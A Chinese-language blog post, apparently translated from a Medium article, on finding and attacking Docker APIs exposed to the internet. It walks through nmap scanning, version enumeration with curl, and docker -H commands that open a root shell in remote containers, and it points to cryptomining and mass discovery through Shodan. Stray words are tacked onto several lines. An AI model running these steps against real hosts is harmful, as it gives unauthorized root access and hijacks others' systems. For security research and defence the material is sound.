【漏洞挖掘】攻擊對外開放的Docker API接口

https://medium.com/@riccardo.ancarani94/attacking-docker-exposed-api-3e01ffc3c124html

1)場景

攻擊開放在互聯網的Docker APIpython

2)問題難點

Docker API外放有什麼危害?docker

3)解決問題的方法

  • 理解客戶API公開互聯網的原理
  • 信息收集和枚舉
  • 利用Docker CLI測試暴露的API
  • 批量挖掘

4)方法細節

理解客戶API公開互聯網的原理

如何爲dockerd啓用遠程APIshell

一、/etc/systemd/system/docker.service.d/startup_options.conf使用如下內容建立文件:數據庫

# /etc/systemd/system/docker.service.d/override.conf
[Service]
ExecStart=
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2376

注意: -H標誌將dockerd綁定到偵聽套接字,即Unix套接字或TCP端口。您能夠指定多個-H標誌以綁定到多個套接字/端口。默認的-H fd://使用systemd的套接字激活功能來引用/lib/systemd/system/docker.socket。

二、從新加載配置文件json

$ sudo systemctl daemon-reload

三、使用新的啓動選項從新啓動docker守護程序:ubuntu

$ sudo systemctl restart docker.service

Dockerd進程偵聽端口2376api

vagrant@ubuntu-xenial:~$ sudo netstat -tulpn | grep 2376
tcp6       0      0 :::2376                 :::*                    LISTEN      4504/dockerd    
vagrant@ubuntu-xenial:~$

信息收集和枚舉

使用nmap端口掃描bash

sudo nmap -sS -T5 192.168.1.7 -p-
Starting Nmap 7.01 ( https://nmap.org ) at 2018-08-10 16:31 CEST
Nmap scan report for 192.168.1.7
Host is up (0.00076s latency).
Not shown: 65498 closed ports, 35 filtered ports
PORT     STATE SERVICE
22/tcp   open  ssh
2376/tcp open  docker
MAC Address: 08:00:27:CA:62:F8 (Oracle VirtualBox virtual NIC)

若是使用nmap的服務檢測能夠直接檢測出Docker的確切版本。網絡

nmap -sTV -p 2376 192.168.1.7
Starting Nmap 7.01 ( https://nmap.org ) at 2018-08-10 16:35 CEST
Nmap scan report for 192.168.1.7
Host is up (0.00038s latency).
PORT     STATE SERVICE    VERSION
2376/tcp open  18.06.0-ce Docker
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.78 seconds

向位於如下位置的端點發出GET請求,返回Docker的版本數據:

curl -s http://192.168.1.7:2376/version | python -m json.tool

從python2.6開始,多了個json.tool的東西。把json數據格式化顯示出來。
>>echo '{"name": "lucy", "age": "18"}' | python -mjson.tool
{
"age": "18",
"name": "lucy"
}

  • 利用Docker CLI測試暴露的API
docker -H <host>:<port> info

收集信息

運行的容器

docker -H 192.168.1.7:2376 ps

已經中止的容器

docker -H 192.168.1.7:2376 ps -a

查看鏡像

docker -H 192.168.1.7:2376 images

訪問容器

在容器內生成一個shell是經過exec命令完成的,在這種狀況下咱們可能想要生成一個bash shell:

docker -H 192.168.1.7:2376 exec -it <container name> /bin/bash

容器內的默認用戶是root,能夠嘗試進一步蒐集容器裏的信息,代碼、配置文件、數據庫。

利用容器挖礦

https://ww.getmonero.org/resources/user-guides/mining_with_xmrig_and_docker.html

批量挖掘

Shodan上暴露出來的API是760個

5)總結

在這篇文章中,研究了Docker相關的威脅。讓Docker API暴露於互聯網可能會致使數據丟失,加密,僵屍網絡等問題

相關文章
相關標籤/搜索